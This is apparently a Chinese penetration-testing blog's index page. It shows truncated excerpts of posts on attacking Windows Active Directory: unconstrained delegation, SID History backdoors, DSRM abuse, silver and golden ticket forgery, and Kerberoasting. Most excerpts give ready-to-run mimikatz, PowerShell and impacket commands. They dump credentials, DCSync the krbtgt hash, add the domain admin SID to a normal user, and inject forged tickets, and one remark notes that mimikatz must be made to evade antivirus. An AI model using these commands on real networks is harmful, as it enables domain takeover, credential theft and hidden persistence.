Windows AD Lateral-Movement      2020-01-04

非约束性委派

攻击简介

该方法主要利用域控上的 printerbug 强制访问我们伪造的非约束性委派计算机从而获取TGT进行提权。适用于域内提权,前提条件时需要获取域内非约束性委派账号。

查找非约束委派账户

1.通过LDAP导出内容查找

该账号可能是计算机账户或者域用户账户,但是必须是服务账号,因此域用户需要通过setspn -U -A test/test domain-user注册服务。具体可以通过LDAP筛选 userAccountControl 属性包含 ADS_UF_TRUSTED_FOR_DELEGATION 标志,具体可以查看:

  1. SCRIPT = 1, // 0x1
  2. ACCOUNTDISABLE = 2, // 0x2
  3. HOMEDIR_REQUIRED = 8, // 0x8
  4. LOCKOUT = 16, // 0x10
  5. PASSWD_NOTREQD = 32, // 0x20
  6. PASSWD_CANT_CHANGE = 64, // 0x40
  7. ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80
  8. TEMP_DUPLICATE_ACCOUNT = 256, // 0x100
  9. NORMAL_ACCOUNT = 512, // 0x200
  10. INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800
  11. WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000
  12. SERVER_
Windows AD Persistence      2019-12-22

一、SID History属性介绍

        

        每个用户帐号都有一个关联的安全标识符(简称SID),SID用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持AD牵移,微软设计了SID History属性,SID History允许另一个帐户的访问被有效的克隆到另一个帐户。

 

二、利用前提条件

       

        1. 当前域与其他域有信任关系,例如当前域与domain1.com和domian2.com存在双向信任

        2. 开启SID History,与其中任意一个林开启SID History信任,即可使用下面的方法

netdom trust  /d:domain1.com current.com /enablesidhistory:yes

 

三、同一域内的持久化利用

        

        SID History可以在同一个域中工作,即DomainA 中的常规用户帐户可以包含 DomainA SID,假如这个DomainA SID是一个特权帐户或组,那就可以在不作为域管 理员成员的情况下授予常规用户域管理员权限,相当于一个后门。

        * 普通的域用户user,已经获得其账号明文或者hash,并且该账号密码永不过期

 

        * 将域管理员的SID赋值给普通域用户user,Mimikatz执行如下:

privilege::debug
sid::query /sam:user # 查看用户信息,如:SID
sid::patch
sid::add /sam:user /new:S-1-5-21-2056922362-3943291772-3165935835-500  # RID 500 默认域管理员账号
sid::clear /sam:user # 清除SID History

 

PS:如果在执行 sid::patch 或者 sid::add 的过程中出现如下错误,则需要开启SID History(参考二)

 

        * 利用user账号(明文&hash)进行测试:

 

四、同一域树下的提权利用方式(Golden Ticket+SID History)

        

        对于同一个域树中的父子域来说,如果获得子域中的高权限用户,就可以修改将该用户的SID赋予企业管理员权限,这样对于父域来说该用户也是高权限

Windows AD Persistence      2019-12-04
一、简述         除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM帐号进行了限制,只允许在控制台登录。可以通过修改注册表的方式,将如下注册表键值: HKLM\System\CurrentContr
Windows AD Persistence Pth      2019-11-28

一、利用基础

        在知道目标机器的NTLM hash域SID的基础上,可以伪造任意用户访问目标机器上的服务。其过程不会与KDC通信,因此不会再KDC上留下任何痕迹,只会在目标机器和本机留下日志。可以利用的服务如下:

服务注释服务名称
WMIHOST&RPCSS
Powershell RemoteingHOST&HTTP
WinRMHOST&HTTP
Scheduled TasksHOST
LDAP、DCSyncLDAP
Windows File Share(CIFS)CIFS
Windows Remote Server Administration ToolsRPCSS&LDAP&CIFS

 

 

二、白银票据伪造

    1. 需要事先导出目标机器的服务Hash,利用的工具很多,这里用mimikatz演示

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" 

 

 

    2. 利用mimikatz进行白银票据伪造并直接注入到内存

mimikatz "kerberos::golden /user:any-user /domain:domain.com /sid:S-1-5-21-2056922362-3943291772-3165935835 /target:dc-01.domain.com /rc4:cd76662d4420b930cce605b6edab46a1 /service:cifs /ptt" "exit" 

参数说明:

 

/domain:域的完整名称,如:lab.adsecurity.org
/sid:域SID,如:S-1-5-21-1473643419-774954089-2222329127
/user:域用户名,白银票据可以是任意用户,可以不存在
/service:指定服务类型,如:host、cifs、http、rpcss、ldap等
/groups(可选):用户所属的组RID,指定用户权限
/ticket(可选):指定一个路径保存票据
/ptt(可选):将申请的票据直接注入内存
/id(可选):用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/endin(可选):票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置
Windows AD SPN Persistence      2019-11-17

一、概述

        黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

 

二、Kerberoasting攻击流程

    1. 发现服务主体名称(SPN)
    2. 请求服务票据
    3. 导出服务票据
    4. 破解服务票据
    5. 重写服务票据&RAM注入

 

三、请求服务票据

    1. Powershell

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

批量请求所有的SPN:

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

 

    2. Mimikatz

mimikatz.exe "kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

 

    3. GetUserSPNs

python GetUserSPNs.py -request pentestl
Windows SPN AD      2019-11-17

一、SPN定义

        服务主体名称(Service Principal Names)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。SPN分为两种:

        (1)机器账户(Computers)注册:服务权限通常是Local System或者Network Service

        (2)域用户账户(Users)注册:注册在一个域用户权限下


二、SPN格式

    1. 域内常见的SPN实例

    * MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
    * ExchangeMDB/adsmsEXCAS01.adsecurity.org
    * TERMSERV/adsmsEXCAS01.adsecurity.org
    * WSMAN/adsmsEXCAS01.adsecurity.org

    * ……

    2. 常见的服务主体名称和对应的服务

    * AcronisAgent:针对Acronis备份和数据恢复软件
    * Afpserver:Apple归档协议
    * AgpmServer:Microsoft高级策略管理(AGPM)
    * ExchangeAB:Exchange通讯簿服务
    * ExchangeRFR:交换通讯簿服务
    * ExchangeMDB:RPC客户端访问服务器角色
    * MSSQLSvc:Microsoft SQL Server
    * MSOMHSvc:Microsoft 系统中心运营经理管理服务器
    * MSOMSdkSvc:Microsoft System Center Operations Manager 管理服务器
    * MSServerCluster:Windows集群服务器
    * MSServerClusterMgmtAPI:集群的API需要此SPN才能使用Kerberos向服务器进行验证
    * MSClusterVirtualServer:Windows 集群服务器
    * TERMSRV:Microsoft 远程桌面协议服务
    * WSMAN

Windows Persistence AD Ptt      2019-11-13

        在我们拿到域管理员权限后,可以导出域控上的所有用户的hash,其中有一个krbtgt的用户hash需要特别注意。它主要是Kerberos域认证的主要密钥,每个域用户的Ticket都是由krbtgt的hash计算生成,有了它我们就可以随意伪造Ticket(Golden Ticket)登录域控制器。并且域内用户受密码策略的限制可能会定时修改密码,但是这个krbtgt是很少修改的(除非管理员发现被入侵了)。

 

一、使用前提

    1. 需要知道krbtgt用户的hash

    2. 需要知道域的SID

    3. 需要与KDC通信,一般是域控

 

二、利用演示:票据导出文件注入域成员机器

    1. 导出域控上的krbtgt hash,可以使用mimikatz在域控上本地导出或者使用mimikatz的dcsync模块、secretsdump远程导出(需要域管权限)

mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt" exit

    2. 在本地生成生成 Golden Tricket,执行后会在当前目录下生成gold.kirbi 文件

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ticket:gold.kirbi" exit 

    3. 将gold.kiebi导入域成员主机,获得域管权限

mimikatz.exe "kerberos::ptt .\gold.kirbi" exit

三、利用演示:直接将票据注入内存

    1. 不用生成kiebi直接进行黄金票据传递,在域成员主机运行:

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ptt" exit

PS:mimikatz.exe 不过杀软,如果需要落地,必须免杀处理。

 

    2. MSF中也有对应的模块:

load kiwi # 在meterpreter中加载kiwi
golden_ticket_create -d domain  -k ha